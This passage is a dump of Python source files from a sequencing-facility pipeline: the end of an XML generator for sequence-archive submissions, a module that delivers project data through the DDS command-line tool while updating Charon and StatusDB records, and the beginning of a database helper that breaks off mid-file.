elif \"_A0\" in full_run_id:\n fc_info[\"instrument\"] = \"Illumina NovaSeq\"\n elif \"_LH\" in full_run_id:\n fc_info[\"instrument\"] = \"Illumina NovaSeqXPlus\"\n elif \"_D0\" in full_run_id:\n fc_info[\"instrument\"] = \"Illumina HiSeq 2500\"\n elif '_NS' in full_run_id:\n fc_info[\"instrument\"] = \"NextSeq 500\"\n instrument_key = fc_info[\"instrument\"].lower().replace(' ', '_')\n # get samples sequenced from demux stat\n fc_info[\"samples\"] = []\n for lane_stat in fc_obj.get(\"illumina\", {}).get('Demultiplex_Stats', {}).get('Barcode_lane_statistics', []):\n lane_sample = lane_stat.get(\"Sample\", \"\")\n if lane_sample.startswith(self.project['project_id']) and lane_sample in self.samples_delivered and lane_sample not in fc_info[\"samples\"]:\n prep_id = \"A\"\n #try and get the prep id for given sample and FC combo\n if not self.ignore_lib_prep:\n try:\n sample_preps_fcs = self.sample_prep_fc_map.get(lane_sample)\n prep_id_list = [pid for pid, seqruns in six.iteritems(sample_preps_fcs) if full_run_id in seqruns]\n assert len(prep_id_list) == 1\n prep_id = prep_id_list[0]\n except AssertionError:\n self.LOG.warning(\"Not able to find prep id for sample '{}' - FC '{}'. Found prep seq map is '{}'\".format(lane_sample, full_run_id, sample_preps_fcs))\n self.LOG.warning(\"Generated XML file may not be reliable, double check the file manually and run with '--ignore-lib-prep' option if neccesary\")\n prep_inst_key = \"{}_{}\".format(prep_id, instrument_key)\n if prep_inst_key not in self.sample_aggregated_stat[lane_sample]:\n self.sample_aggregated_stat[lane_sample][prep_inst_key] = {'xml_text': fc_info[\"instrument\"], 'runs': []}\n self.sample_aggregated_stat[lane_sample][prep_inst_key]['runs'].append(full_run_id)\n fc_info[\"samples\"].append(lane_sample)\n # this should never happen but good to catch\n if len(fc_info[\"samples\"]) == 0:\n self.LOG.warn(\"No sample were found for project {} in fc {}, this is so weird\".format(self.project['project_id'], fc_info['run_name']))\n\n\n def _set_project_design(self):\n \"\"\" Get project library design and protocol details \"\"\"\n # This function is not particularly clever, but this is the best\n # I was able to do with avilable stuff at the time of writing\n #refactor with a mapping file probably\n self.project_design = {}\n # get application type of project\n proj_app = self.project.get(\"details\", {}).get(\"application\")\n # get library construction method and parse neccesary information\n p_input, p_type, p_option, p_category = [''] * 4\n lib_meth_match = re.search(r'^(.*?),(.*?),(.*?),(.*?)[\\[,](.*)$', self.project.get(\"details\", {}).get(\"library_construction_method\", \"\"))\n if lib_meth_match:\n p_input, p_type, p_option, p_category = lib_meth_match.groups()[:4]\n # if no library kit found use application type or default string\n if not p_type or \"user\" in p_type or \"house\" in p_type:\n dp_design = proj_app or p_input if p_input.lower() != \"library\" else \"Sample\"\n dp_protocol = \"NA\"\n else:\n dp_design = p_type\n dp_protocol = \"{}{}\".format(p_type, \", {}\".format(p_option) if p_option else \"\")\n design_template = \"{} library for sequencing on \".format(dp_design)\n self.project_design['design'] = design_template + \"{instrument}\"\n self.project_design['protocol'] = dp_protocol\n # try setting strategy based on application type\n dp_strategy = 'OTHER'\n if proj_app.lower() == \"metagenomics\":\n dp_strategy = \"OTHER\"\n elif proj_app.lower() == \"rna-seq\":\n dp_strategy = \"miRNA-Seq\" if self.project.get(\"details\", {}).get(\"bioinformatic_qc\", \"\").lower() == \"mirna-seq\" else \"RNA-Seq\"\n elif proj_app.lower() in [\"rna-seq\", \"chip-seq\", \"rad-seq\"]:\n dp_strategy = proj_app.replace(\"-s\", \"-S\")\n elif proj_app == \"WG re-seq\":\n dp_strategy = \"WGS\"\n self.project_design['strategy'] = dp_strategy\n # try getting source from input type\n if proj_app.lower() == \"metagenomics\":\n dp_source = \"METAGENOMIC\"\n elif \"rna\" in proj_app.lower():\n dp_source = \"TRANSCRIPTOMIC\"\n elif p_input ==\"DNA\":\n dp_source = \"GENOMIC\"\n else:\n dp_source = \"OTHER\"\n self.project_design['source'] = dp_source\n # get layout from setup\n seq_setup = self.project.get(\"details\",{}).get(\"sequencing_setup\", \"\")\n if seq_setup.startswith(\"1x\"):\n dp_layout = \"<SINGLE/>\"\n elif seq_setup.startswith(\"2x\"):\n dp_layout = \"<PAIRED></PAIRED>\"\n else:\n self.LOG.warn(\"Was not able to fetch sequencing setup from couchdb for project {}, so choosing PAIRED\".format(self.project['project_id']))\n dp_layout = \"<PAIRED></PAIRED>\"\n self.project_design['layout'] = dp_layout\n # set library selection depending upon setup\n if dp_protocol == \"NA\":\n dp_selection = \"unspecified\"\n elif dp_strategy.lower() == \"chip-seq\":\n dp_selection = \"ChIP\"\n elif dp_strategy.lower() == \"rad-seq\":\n dp_selection = \"Restriction Digest\"\n elif dp_strategy.lower() == \"rna-seq\":\n if p_option and \"poly-a\" in p_option.lower():\n dp_selection = \"cDNA\"\n elif p_option and \"ribozero\" in p_option.lower():\n dp_selection = \"Inverse rRNA selection\"\n else:\n dp_selection = \"unspecified\"\n else:\n dp_selection = \"RANDOM\"\n self.project_design[\"selection\"] = dp_selection\n\n def _generate_files_block(self, files, flowcells=None):\n \"\"\" Take a 'files' dict and give xml block string to include in final xml \"\"\"\n file_block = \"\"\n for fl, fl_stat in six.iteritems(files):\n # collect only fastq files\n if not fl.endswith('fastq.gz'):\n continue\n # if flowcells given filter files only from that flowcell\n if flowcells and fl.split(\"/\")[2] not in flowcells:\n continue\n file_block += ('\\t\\t\\t\\t<FILE filename=\"{}\" filetype=\"fastq\" checksum_method=\"MD5\" checksum=\"{}\" />\\n'.format(fl, fl_stat.get('md5_sum','')))\n return file_block\n\n\n def _check_and_load_project(self, project):\n \"\"\" Get the project document from couchDB if it is not \"\"\"\n if isinstance(project, six.string_types):\n self.LOG.info(\"Fetching project '{}' from statusDB\".format(project))\n project = self.pcon.get_entry(project, use_id_view=True)\n self.project = project\n\n\n def _check_and_load_flowcells(self, flowcells):\n \"\"\" Get the project's flowcells if not already given \"\"\"\n if not flowcells or not isinstance(flowcells, dict):\n self.LOG.info(\"Fetching flowcells sequenced for project '{}' from StatusDB\".format(self.project['project_id']))\n flowcells = {}\n flowcells.update(self.fcon.get_project_flowcell(self.project['project_id'], self.project.get('open_date','2015-01-01')))\n flowcells.update(self.xcon.get_project_flowcell(self.project['project_id'], self.project.get('open_date','2015-01-01')))\n self.flowcells = flowcells\n\n\n def _check_and_load_lib_preps(self, ignore_lib_prep=False):\n \"\"\" If not asked to ignore create a dict with lib prep and sequenced FC for lookup downstream \"\"\"\n self.ignore_lib_prep = ignore_lib_prep\n self.sample_prep_fc_map = defaultdict(dict)\n if not self.ignore_lib_prep:\n for sample in self.samples_delivered.keys():\n sample_preps = self.project.get(\"samples\", {}).get(sample, {}).get(\"library_prep\", {})\n for prep, prep_info in six.iteritems(sample_preps):\n self.sample_prep_fc_map[sample][prep] = prep_info.get(\"sequenced_fc\", [])\n\n\n def _check_and_load_outdir(self, outdir):\n \"\"\" Check the given outdir and see if its valid one \"\"\"\n if not os.path.exists(outdir):\n self.LOG.info(\"Given outdir '{}' does not exist so will create it\".format(outdir))\n os.makedirs(outdir)\n elif not os.path.isdir(outdir):\n self.LOG.warn(\"Given outdir '{}' is not valid so will use current directory\".format(outdir))\n outdir = os.getcwd()\n return outdir\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(\"nbis_xml_generator.py\")\n parser.add_argument(\"project\", type=str, metavar='<project id>', help=\"NGI project id for which XML files are generated\")\n parser.add_argument(\"--outdir\", type=str, default=os.getcwd(), help=\"Output directory where the XML files will be saved\")\n parser.add_argument(\"--ignore-lib-prep\", default=False, action=\"store_true\", help=\"Dont take in account the lib preps\")\n kwargs = vars(parser.parse_args())\n LOG = logging.getLogger('nbis_xml_generator')\n LOG.info(\"Generating xml files for project {}\".format(kwargs['project']))\n xgen = xml_generator(kwargs['project'], LOG=LOG, outdir=kwargs['outdir'], ignore_lib_prep=kwargs['ignore_lib_prep'])\n xgen.generate_xml_and_manifest()\n LOG.info(\"Generated xml files for project {}\".format(kwargs['project']))\n" }, { "alpha_fraction": 0.6014065742492676, "alphanum_fraction": 0.6023705005645752, "avg_line_length": 48.40211486816406, "blob_id": "e80fb6a37155bcb80face3c2582f50ddd7641fac", "content_id": "c0e0e4338290c8cc1cb6544bb7fd8994852e58a6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 28011, "license_type": "permissive", "max_line_length": 151, "num_lines": 567, "path": "/taca_ngi_pipeline/deliver/deliver_dds.py", "repo_name": "SciLifeLab/taca-ngi-pipeline", "src_encoding": "UTF-8", "text": "\"\"\"\n Module for controlling deliveries of samples and projects to DDS\n\"\"\"\nimport requests\nimport os\nimport logging\nimport json\nimport subprocess\nimport sys\nimport re\nimport datetime\n\nfrom ngi_pipeline.database.classes import CharonSession\nfrom taca.utils.filesystem import create_folder\nfrom taca.utils.config import CONFIG\nfrom taca.utils.statusdb import StatusdbSession, ProjectSummaryConnection\n\nfrom .deliver import ProjectDeliverer, SampleDeliverer, DelivererInterruptedError\nfrom ..utils.database import DatabaseError\n\nlogger = logging.getLogger(__name__)\n\n\ndef proceed_or_not(question):\n yes = set(['yes', 'y', 'ye'])\n no = set(['no', 'n'])\n sys.stdout.write(\"{}\".format(question))\n while True:\n choice = input().lower()\n if choice in yes:\n return True\n elif choice in no:\n return False\n else:\n sys.stdout.write(\"Please respond with 'yes' or 'no' \")\n\n\nclass DDSProjectDeliverer(ProjectDeliverer):\n \"\"\" This object takes care of delivering project samples with DDS.\n \"\"\"\n def __init__(self, projectid=None, sampleid=None,\n pi_email=None, sensitive=True,\n add_user=None, fcid=None, do_release=False,\n project_description=None, ignore_orderportal_members=False, **kwargs):\n super(DDSProjectDeliverer, self).__init__(\n projectid,\n sampleid,\n **kwargs\n )\n self.config_statusdb = CONFIG.get('statusdb', None)\n if self.config_statusdb is None and not do_release:\n raise AttributeError(\"statusdb configuration is needed when delivering to DDS (url, username, password\")\n self.orderportal = CONFIG.get('order_portal', None)\n if self.orderportal is None and not do_release:\n raise AttributeError(\"Order portal configuration is needed when delivering to DDS\")\n if self.orderportal:\n self._set_pi_email(pi_email)\n self._set_other_member_details(add_user, ignore_orderportal_members)\n self._set_project_details(projectid, project_description)\n self.sensitive = sensitive\n self.fcid = fcid\n\n def get_delivery_status(self, dbentry=None):\n \"\"\" Returns the delivery status for this project. If a dbentry\n dict is supplied, it will be used instead of fetching from database\n\n :params dbentry: a database entry to use instead of\n fetching from db\n :returns: the delivery status of this project as a string\n \"\"\"\n dbentry = dbentry or self.db_entry()\n if dbentry.get('delivery_token'):\n if dbentry.get('delivery_token') not in ['NO-TOKEN', 'not_under_delivery'] :\n return 'IN_PROGRESS' # At least some samples are under delivery\n if dbentry.get('delivery_status'):\n if dbentry.get('delivery_status') == 'DELIVERED':\n return 'DELIVERED' # The project has been marked as delivered\n if dbentry.get('delivery_projects'):\n return 'PARTIAL' # The project underwent a delivery, but not for all the samples\n return 'NOT_DELIVERED' # The project is not delivered\n\n def release_DDS_delivery_project(self, dds_project, no_dds_mail, dds_deadline=45):\n \"\"\" Update charon when data upload is finished and release DDS project to user.\n For this to work on runfolder deliveries, update the delivery status in Charon maually.\n \"\"\"\n charon_status = self.get_delivery_status()\n # Skip if status is not in progress\n if charon_status != 'IN_PROGRESS':\n logger.info(\"Project {} has no delivery token. Project is not being delivered at the moment\".format(self.projectid))\n return\n question = \"About to release project {} in DDS delivery project {} to user. Continue? \".format(self.projectid, dds_project)\n if proceed_or_not(question):\n logger.info(\"Releasing DDS project {} to user\".format(dds_project))\n else:\n logger.error(\"{} delivery has been aborted.\".format(str(self)))\n return\n\n delivery_status = 'IN_PROGRESS'\n try:\n cmd = ['dds', '--no-prompt', 'project', 'status', 'release',\n '--project', dds_project,\n '--deadline', str(dds_deadline)]\n if no_dds_mail:\n cmd.append('--no-mail')\n process_handle = subprocess.run(cmd)\n process_handle.check_returncode()\n logger.info(\"Project {} succefully delivered. Delivery project is {}.\".format(self.projectid, dds_project))\n delivery_status = 'DELIVERED'\n except subprocess.CalledProcessError as e:\n logger.exception('Could not release project {}, an error occurred'.format(self.projectid))\n delivery_status = 'FAILED'\n raise e\n if delivery_status == 'DELIVERED' or delivery_status == 'FAILED':\n # Fetch all samples that were under delivery and update their status in charon\n in_progress_samples = self.get_samples_from_charon(delivery_status=\"IN_PROGRESS\")\n for sample_id in in_progress_samples:\n try:\n sample_deliverer = DDSSampleDeliverer(self.projectid, sample_id)\n sample_deliverer.update_delivery_status(status=delivery_status)\n except Exception as e:\n logger.exception('Sample {}: Problems in setting sample status on charon.'.format(sample_id))\n # Reset delivery in charon\n self.delete_delivery_token_in_charon()\n # If all samples in charon are DELIVERED or ABORTED, then the whole project is DELIVERED\n all_samples_delivered = True\n for sample_id in self.get_samples_from_charon(delivery_status=None):\n try:\n sample_deliverer = DDSSampleDeliverer(self.projectid, sample_id)\n if sample_deliverer.get_sample_status() == 'ABORTED':\n continue\n if sample_deliverer.get_delivery_status() != 'DELIVERED':\n all_samples_delivered = False\n except Exception as e:\n logger.exception('Sample {}: Problems in setting sample status on charon.'.format(sample_id))\n if all_samples_delivered:\n self.update_delivery_status(status=delivery_status)\n\n def deliver_project(self):\n \"\"\" Deliver all samples in a project with DDS\n\n :returns: True if all samples were delivered successfully, False if\n any sample was not properly delivered or ready to be delivered\n \"\"\"\n soft_stagepath = self.expand_path(self.stagingpath)\n\n if self.get_delivery_status() == 'DELIVERED' and not self.force:\n logger.info(\"{} has already been delivered. This project will not \"\n \"be delivered again this time.\".format(str(self)))\n return True\n\n elif self.get_delivery_status() == 'IN_PROGRESS':\n logger.error(\"Project {} is already under delivery. \"\n \"Multiple deliveries are not allowed\".format(self.projectid))\n raise DelivererInterruptedError(\"Project already under delivery\")\n\n elif self.get_delivery_status() == 'PARTIAL':\n logger.warning(\"{} has already been partially delivered. \"\n \"Please confirm you want to proceed.\".format(str(self)))\n if proceed_or_not(\"Do you want to proceed (yes/no): \"):\n logger.info(\"{} has already been partially delivered. \"\n \"User confirmed to proceed.\".format(str(self)))\n else:\n logger.error(\"{} has already been partially delivered. \"\n \"User decided to not proceed.\".format(str(self)))\n return False\n\n # Check if the sensitive flag has been set in the correct way\n question = (\"This project has been marked as SENSITIVE \"\n \"(option --sensitive). Do you want to proceed with delivery? \")\n if not self.sensitive:\n question = (\"This project has been marked as NON-SENSITIVE \"\n \"(option --no-sensitive). Do you want to proceed with delivery? \")\n if proceed_or_not(question):\n logger.info(\"Delivering {} with DDS. \"\n \"Project marked as SENSITIVE={}\".format(str(self), self.sensitive))\n else:\n logger.error(\"{} delivery has been aborted. \"\n \"Sensitive level was WRONG.\".format(str(self)))\n return False\n\n # Now start with the real work\n status = True\n\n # Connect to charon, return list of sample objects that have been staged\n try:\n samples_to_deliver = self.get_samples_from_charon(delivery_status=\"STAGED\")\n except Exception as e:\n logger.exception(\"Cannot get samples from Charon.\")\n raise e\n if len(samples_to_deliver) == 0:\n logger.warning('No staged samples found in Charon')\n raise AssertionError('No staged samples found in Charon')\n\n # Collect other files (not samples) if any\n misc_to_deliver = [itm for itm in os.listdir(soft_stagepath) if os.path.splitext(itm)[0] not in samples_to_deliver]\n\n question = \"\\nProject stagepath: {}\\nSamples: {}\\nMiscellaneous: {}\\n\\nProceed with delivery ? \"\n question = question.format(soft_stagepath, \", \".join(samples_to_deliver), \", \".join(misc_to_deliver))\n if proceed_or_not(question):\n logger.info(\"Proceeding with delivery of {}\".format(str(self)))\n else:\n logger.error(\"Aborting delivery for {}, remove/add files as required and try again\".format(str(self)))\n return False\n\n # create a delivery project\n dds_name_of_delivery = ''\n try:\n dds_name_of_delivery = self._create_delivery_project()\n logger.info(\"Delivery project for project {} has been created. Delivery ID is {}\".format(self.projectid, dds_name_of_delivery))\n except AssertionError as e:\n logger.exception('Unable to detect DDS delivery project.')\n raise e\n\n # Update delivery status in Charon\n samples_in_progress = []\n for sample_id in samples_to_deliver:\n try:\n sample_deliverer = DDSSampleDeliverer(self.projectid, sample_id)\n sample_deliverer.update_sample_status()\n except Exception as e:\n logger.exception('Sample status for {} has not been updated in Charon.'.format(sample_id))\n raise e\n else:\n samples_in_progress.append(sample_id)\n if len(samples_to_deliver) != len(samples_in_progress):\n # Something unexpected happend, terminate\n logger.warning('Not all the samples have been updated in Charon. Terminating')\n raise AssertionError('len(samples_to_deliver) != len(samples_in_progress): '\n '{} != {}'.format(len(samples_to_deliver),\n len(samples_in_progress)))\n\n delivery_status = self.upload_data(dds_name_of_delivery) # Status is \"uploaded\" if successful\n # Update project and samples fields in charon\n if delivery_status:\n self.save_delivery_token_in_charon(delivery_status)\n # Save all delivery projects in charon\n self.add_dds_name_delivery_in_charon(dds_name_of_delivery)\n self.add_dds_name_delivery_in_statusdb(dds_name_of_delivery)\n logger.info(\"Delivery status for project {}, \"\n \"delivery project {} is {}\".format(self.projectid,\n dds_name_of_delivery,\n delivery_status))\n for sample_id in samples_to_deliver:\n try:\n sample_deliverer = DDSSampleDeliverer(self.projectid, sample_id)\n sample_deliverer.save_delivery_token_in_charon(delivery_status)\n sample_deliverer.add_dds_name_delivery_in_charon(dds_name_of_delivery)\n except Exception as e:\n logger.exception('Failed in saving sample information for sample {}'.format(sample_id))\n else:\n logger.error('Something went wrong when uploading data to {} '\n 'for project {}.'.format(dds_name_of_delivery, self.projectid))\n status = False\n\n return status\n\n def deliver_run_folder(self):\n \"\"\" Symlink run folder to stage path, create DDS delivery project and upload data.\n \"\"\"\n # Stage the data\n dst = self.expand_path(self.stagingpath)\n path_to_data = self.expand_path(self.datapath)\n runfolder_archive = os.path.join(path_to_data, self.fcid + \".tar.gz\")\n runfolder_md5file = runfolder_archive + \".md5\"\n\n question = \"This project has been marked as SENSITIVE (option --sensitive). Do you want to proceed with delivery? \"\n if not self.sensitive:\n question = \"This project has been marked as NON-SENSITIVE (option --no-sensitive). Do you want to proceed with delivery? \"\n if proceed_or_not(question):\n logger.info(\"Delivering {} with DDS. Project marked as SENSITIVE={}\".format(str(self), self.sensitive))\n else:\n logger.error(\"{} delivery has been aborted. Sensitive level was WRONG.\".format(str(self)))\n return False\n\n status = True\n\n create_folder(dst)\n try:\n os.symlink(runfolder_archive, os.path.join(dst, self.fcid + \".tar.gz\"))\n os.symlink(runfolder_md5file, os.path.join(dst, self.fcid + \".tar.gz.md5\"))\n logger.info(\"Symlinking files {} and {} to {}\".format(runfolder_archive, runfolder_md5file, dst))\n except IOError as e:\n logger.error(\"Unable to symlink files to {}. Please check that the files \"\n \"exist and that the filenames match the flowcell ID. Error: \\n {}\".format(dst, e))\n\n delivery_id = ''\n try:\n delivery_id = self._create_delivery_project()\n logger.info(\"Delivery project for project {} has been created. \"\n \"Delivery ID is {}\".format(self.projectid, delivery_id))\n except AssertionError as e:\n logger.exception('Unable to detect DDS delivery project.')\n raise e\n\n # Upload with DDS\n dds_delivery_status = self.upload_data(delivery_id)\n\n if dds_delivery_status:\n logger.info(\"DDS upload for project {} to \"\n \"delivery project {} was sucessful\".format(self.projectid,\n delivery_id))\n else:\n logger.error('Something when wrong when uploading {} '\n 'to DDS project {}'.format(self.projectid, delivery_id))\n status = False\n return status\n\n\n def save_delivery_token_in_charon(self, delivery_token):\n \"\"\"Updates delivery_token in Charon at project level\n \"\"\"\n charon_session = CharonSession()\n charon_session.project_update(self.projectid, delivery_token=delivery_token)\n\n def delete_delivery_token_in_charon(self):\n \"\"\"Removes delivery_token from Charon upon successful delivery\n \"\"\"\n charon_session = CharonSession()\n charon_session.project_update(self.projectid, delivery_token='NO-TOKEN')\n\n def add_dds_name_delivery_in_charon(self, name_of_delivery):\n \"\"\"Updates delivery_projects in Charon at project level\n \"\"\"\n charon_session = CharonSession()\n try:\n #fetch the project\n project_charon = charon_session.project_get(self.projectid)\n delivery_projects = project_charon['delivery_projects']\n if name_of_delivery not in delivery_projects:\n delivery_projects.append(name_of_delivery)\n charon_session.project_update(self.projectid, delivery_projects=delivery_projects)\n logger.info('Charon delivery_projects for project {} '\n 'updated with value {}'.format(self.projectid, name_of_delivery))\n else:\n logger.warn('Charon delivery_projects for project {} not updated '\n 'with value {} because the value was already present'.format(self.projectid, name_of_delivery))\n except Exception as e:\n logger.exception('Failed to update delivery_projects in charon while '\n 'delivering {}.'.format(self.projectid))\n\n def add_dds_name_delivery_in_statusdb(self, name_of_delivery):\n \"\"\"Updates delivery_projects in StatusDB at project level\n \"\"\"\n save_meta_info = getattr(self, 'save_meta_info', False)\n if not save_meta_info:\n return\n status_db = ProjectSummaryConnection(self.config_statusdb)\n project_page = status_db.get_entry(self.projectid, use_id_view=True)\n delivery_projects = []\n if 'delivery_projects' in project_page:\n delivery_projects = project_page['delivery_projects']\n\n delivery_projects.append(name_of_delivery)\n\n project_page['delivery_projects'] = delivery_projects\n try:\n status_db.save_db_doc(project_page)\n logger.info('Delivery_projects for project {} updated with value {} in statusdb'.format(self.projectid, name_of_delivery))\n except Exception as e:\n logger.exception('Failed to update delivery_projects in statusdb while delivering {}.'.format(self.projectid))\n\n def upload_data(self, name_of_delivery):\n \"\"\"Upload staged sample data with DDS\n \"\"\"\n stage_dir = self.expand_path(self.stagingpath)\n log_dir = os.path.join(os.path.dirname(CONFIG.get('log').get('file')), 'DDS_logs')\n project_log_dir = os.path.join(log_dir, self.projectid)\n cmd = ['dds', '--no-prompt', 'data', 'put',\n '--mount-dir', project_log_dir,\n '--project', name_of_delivery,\n '--source', stage_dir]\n try:\n output = \"\"\n for line in self._execute(cmd):\n output += line\n print(line, end=\"\")\n except subprocess.CalledProcessError as e:\n logger.exception('DDS upload failed while uploading {} to {}'.format(stage_dir, name_of_delivery))\n raise e\n if \"Upload completed!\" in output:\n delivery_status = \"uploaded\"\n else:\n delivery_status = None\n return delivery_status\n\n def get_samples_from_charon(self, delivery_status='STAGED'):\n \"\"\"Takes as input a delivery status and return all samples with that delivery status\n \"\"\"\n charon_session = CharonSession()\n result = charon_session.project_get_samples(self.projectid)\n samples = result.get('samples')\n if samples is None:\n raise AssertionError('CharonSession returned no results for project {}'.format(self.projectid))\n samples_of_interest = []\n for sample in samples:\n sample_id = sample.get('sampleid')\n charon_delivery_status = sample.get('delivery_status')\n if charon_delivery_status == delivery_status or delivery_status is None:\n samples_of_interest.append(sample_id)\n return samples_of_interest\n\n def _create_delivery_project(self):\n \"\"\"Create a DDS delivery project and return the ID\n \"\"\"\n create_project_cmd = ['dds', '--no-prompt', 'project', 'create',\n '--title', self.project_title,\n '--description', self.project_desc,\n '--principal-investigator', self.pi_email,\n '--owner', self.pi_email]\n if self.other_member_details:\n for member in self.other_member_details:\n create_project_cmd.append('--researcher')\n create_project_cmd.append(member)\n if not self.sensitive:\n create_project_cmd.append('--non-sensitive')\n dds_project_id = ''\n try:\n output = \"\"\n for line in self._execute(create_project_cmd):\n output += line\n print(line, end=\"\")\n except subprocess.CalledProcessError as e:\n logger.exception(\"An error occurred while setting up the DDS delivery project.\")\n raise e\n project_pattern = re.compile('ngisthlm\\d{5}')\n found_project = re.search(project_pattern, output)\n if found_project:\n dds_project_id = found_project.group()\n return dds_project_id\n else:\n raise AssertionError(\"DDS project NOT set up for {}\".format(self.projectid))\n\n def _set_pi_email(self, given_pi_email=None):\n \"\"\"Set PI email address\n \"\"\"\n self.pi_email = None\n if given_pi_email:\n logger.warning(\"PI email for project {} specified by user: {}\".format(self.projectid, given_pi_email))\n self.pi_email = given_pi_email\n if not self.pi_email:\n try:\n prj_order = self._get_order_detail()\n self.pi_email = prj_order['fields']['project_pi_email']\n logger.info(\"PI email for project {} found: {}\".format(self.projectid, self.pi_email))\n except Exception as e:\n logger.exception(\"Cannot fetch pi_email from StatusDB.\")\n raise e\n\n def _set_other_member_details(self, other_member_emails=[], ignore_orderportal_members=False):\n \"\"\"Set other contact details if available, this is not mandatory so\n the method will not raise error if it could not find any contact\n \"\"\"\n self.other_member_details = []\n # try getting appropriate contact emails\n if not ignore_orderportal_members:\n logger.info(\"Fetching additional members from order portal.\")\n try:\n prj_order = self._get_order_detail()\n owner_email = prj_order.get('owner', {}).get('email')\n if owner_email and owner_email != self.pi_email and owner_email not in other_member_emails:\n other_member_emails.append(owner_email)\n binfo_email = prj_order.get('fields', {}).get('project_bx_email')\n if binfo_email and binfo_email != self.pi_email and binfo_email not in other_member_emails:\n other_member_emails.append(binfo_email)\n except (AssertionError, ValueError) as e:\n pass # nothing to worry, just move on\n if other_member_emails:\n logger.info(\"Other appropriate contacts were found, they will be added to DDS delivery project: {}\".format(\", \".join(other_member_emails)))\n self.other_member_details = other_member_emails\n\n def _set_project_details(self, projectid, given_desc=None):\n \"\"\"Set project details, either given or from order portal\"\"\"\n self.project_title = projectid\n self.project_desc = None\n if given_desc:\n logger.warning(\"Project description for project {} specified by user: {}\".format(self.projectid, given_desc))\n self.project_desc = given_desc\n if not self.project_desc:\n self.project_desc = self.projectname + ' (' + datetime.datetime.now().strftime(\"%Y-%m-%d\") + ')'\n logger.info(\"Project description for project {}: {}\".format(self.projectid, self.project_desc))\n\n def _get_order_detail(self):\n \"\"\"Fetch order details from order portal\"\"\"\n status_db = StatusdbSession(self.config_statusdb)\n projects_db = status_db.connection['projects']\n view = projects_db.view('order_portal/ProjectID_to_PortalID')\n rows = view[self.projectid].rows\n if len(rows) < 1:\n raise AssertionError(\"Project {} not found in StatusDB\".format(self.projectid))\n if len(rows) > 1:\n raise AssertionError('Project {} has more than one entry in orderportal_db'.format(self.projectid))\n portal_id = rows[0].value\n # Get project info from order portal API\n get_project_url = '{}/v1/order/{}'.format(self.orderportal.get('orderportal_api_url'), portal_id)\n headers = {'X-OrderPortal-API-key': self.orderportal.get('orderportal_api_token')}\n response = requests.get(get_project_url, headers=headers)\n if response.status_code != 200:\n raise AssertionError(\"Status code returned when trying to get \"\n \"project info from the order portal: \"\n \"{} was not 200. Response was: {}\".format(portal_id, response.content))\n return json.loads(response.content)\n\n def _execute(self, cmd):\n \"\"\"Helper function to both capture and print subprocess output.\n Adapted from https://stackoverflow.com/a/4417735\n \"\"\"\n popen = subprocess.Popen(cmd, stdout=subprocess.PIPE, text=True)\n for stdout_line in iter(popen.stdout.readline, \"\"):\n yield stdout_line\n popen.stdout.close()\n return_code = popen.wait()\n if return_code:\n raise subprocess.CalledProcessError(return_code, cmd)\n\n\nclass DDSSampleDeliverer(SampleDeliverer):\n \"\"\"A class for handling sample deliveries with DDS\n \"\"\"\n\n def __init__(self, projectid=None, sampleid=None, **kwargs):\n super(DDSSampleDeliverer, self).__init__(\n projectid,\n sampleid,\n **kwargs)\n\n def update_sample_status(self, sampleentry=None):\n \"\"\" Update delivery status in charon\n \"\"\"\n try:\n logger.info(\"Trying to upload {} with DDS\".format(str(self)))\n try:\n if self.get_delivery_status(sampleentry) != 'STAGED':\n logger.info(\"{} has not been staged and will not be delivered\".format(str(self)))\n return False\n except DatabaseError as e:\n logger.exception(\"An error occurred during delivery of {}\".format(str(self)))\n raise(e)\n self.update_delivery_status(status=\"IN_PROGRESS\")\n except Exception as e:\n self.update_delivery_status(status=\"STAGED\")\n logger.exception(e)\n raise(e)\n\n def save_delivery_token_in_charon(self, delivery_token):\n \"\"\"Updates delivery_token in Charon at sample level\n \"\"\"\n charon_session = CharonSession()\n charon_session.sample_update(self.projectid, self.sampleid, delivery_token=delivery_token)\n\n def add_dds_name_delivery_in_charon(self, name_of_delivery):\n \"\"\"Updates delivery_projects in Charon at project level\n \"\"\"\n charon_session = CharonSession()\n try:\n # Fetch the project\n sample_charon = charon_session.sample_get(self.projectid, self.sampleid)\n delivery_projects = sample_charon['delivery_projects']\n if name_of_delivery not in sample_charon:\n delivery_projects.append(name_of_delivery)\n charon_session.sample_update(self.projectid, self.sampleid, delivery_projects=delivery_projects)\n logger.info('Charon delivery_projects for sample {} updated '\n 'with value {}'.format(self.sampleid, name_of_delivery))\n else:\n logger.warn('Charon delivery_projects for sample {} not updated '\n 'with value {} because the value was already present'.format(self.sampleid, name_of_delivery))\n except Exception as e:\n logger.exception('Failed to update delivery_projects in charon while delivering {}.'.format(self.sampleid))\n" }, { "alpha_fraction": 0.5161290168762207, "alphanum_fraction": 0.5806451439857483, "avg_line_length": 14.5, "blob_id": "cc1d531f75d536b6c20886802e7fcdfb5d726ddc", "content_id": "1617281d2e33f3e023480d3c8d9814fdf6b49525", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 62, "license_type": "permissive", "max_line_length": 33, "num_lines": 4, "path": "/taca_ngi_pipeline/__init__.py", "repo_name": "SciLifeLab/taca-ngi-pipeline", "src_encoding": "UTF-8", "text": "\"\"\" Main taca_ngi_pipeline module\n\"\"\"\n\n__version__ = '0.10.3'\n" }, { "alpha_fraction": 0.7042253613471985, "alphanum_fraction": 0.7042253613471985, "avg_line_length": 35.42307662963867, "blob_id": "b01007d3562d17b500293c2bf4d985c1c4573199", "content_id": "4c4f50d4b8a72860f93e9c74a1fa5078ebde9c5d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2840, "license_type": "permissive", "max_line_length": 84, "num_lines": 78, "path": "/taca_ngi_pipeline/utils/database.py", "repo_name": "SciLifeLab/taca-ngi-pipeline", "src_encoding": "UTF-8", "text": "__author__ = 'Pontus'\n\nfrom ngi_pipeline.database import classes as db\nfrom datetime import datetime\n\nclass DatabaseError(Exception):\n pass\n\n\ndef _wrap_database_query(query_fn, *query_args, **query_kwargs):\n \"\"\" Wrapper calling the supplied method with the supplied arguments\n :param query_fn: function reference in the CharonSession class that\n will be called\n :returns: the result of the function call\n :raises DatabaseError:\n if an error occurred when communicating with the database\n \"\"\"\n try:\n return query_fn(*query_args, **query_kwargs)\n except db.CharonError as ce:\n raise DatabaseError(ce)\n\n\ndef dbcon():\n 